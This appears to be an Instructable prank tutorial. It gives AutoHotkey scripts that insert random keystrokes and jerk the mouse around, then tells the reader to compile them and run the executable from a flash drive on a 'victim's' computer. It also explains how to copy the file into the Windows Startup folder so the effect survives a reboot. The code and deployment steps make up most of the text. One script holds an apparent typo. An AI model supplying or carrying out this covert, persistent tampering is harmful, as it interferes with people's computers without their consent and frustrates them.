This Instructable allows you to make someones computer seem completely broken, and frustrate them infinitely as they wonder what is wrong with their keyboard, mouse, and pretty much everything else.
Things you'll need:
1.) A computer
2.)Autohotkey
3.) A text editor (such as windows notepad)
4.) A flash drive or cd

Step 1: Start AutoHotkey

After you've downloaded Autohotkey from here run the installer. Then open your text editor and copy this script:
RandChar()
{
   Characters := "abcdefghijklmnopqrstuvwxyz"
   CharStr := ""

   Random, Rand, 1, StrLen(Characters)
   CharStr := CharStr . SubStr(Characters, Rand, 1)

   Return CharStr
}
Loop{
KeyWait Space,D
Random,rando,500,5000
Sleep, rando
Random,rand,500,5000
send % RandChar()
Sleep, rand
}
paste it into your editor, then click "save as" then save it as "WhateverYouWant.ahk" it doesn't matter what you name it, but be sure it has the .ahk.
If you want a crazy mouse as well as a messed up keyboard click File>New then paste this in and save it as a .ahkv:

Loop{
KeyWait,LButton,D
Random,time,200,2000
Sleep timeh
Random,place
Random,place2
MouseMove,place,place2,0,R
}

After you have made the script(s),save it, then right-click it and click "Compile Script" it will create a file called "WhateverYouNamedYourFile.exe"

Step 2: Deploy the Script

Now transfer WhateverYouNamedYourFile.exe to your flash drive. The next step is easy, plug the flash drive into your victims computer, click "start", "Computer", then find your flash drive (usually under "removable media") and double click WhateverYouNamedYourFile.exe that's it, close the windows and unplug the flash drive.If you want to go pro and make it so rebooting won't fix the problem copy the file into the directory "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup".Then wait for your victim to begin typing, compounding frustration is definite.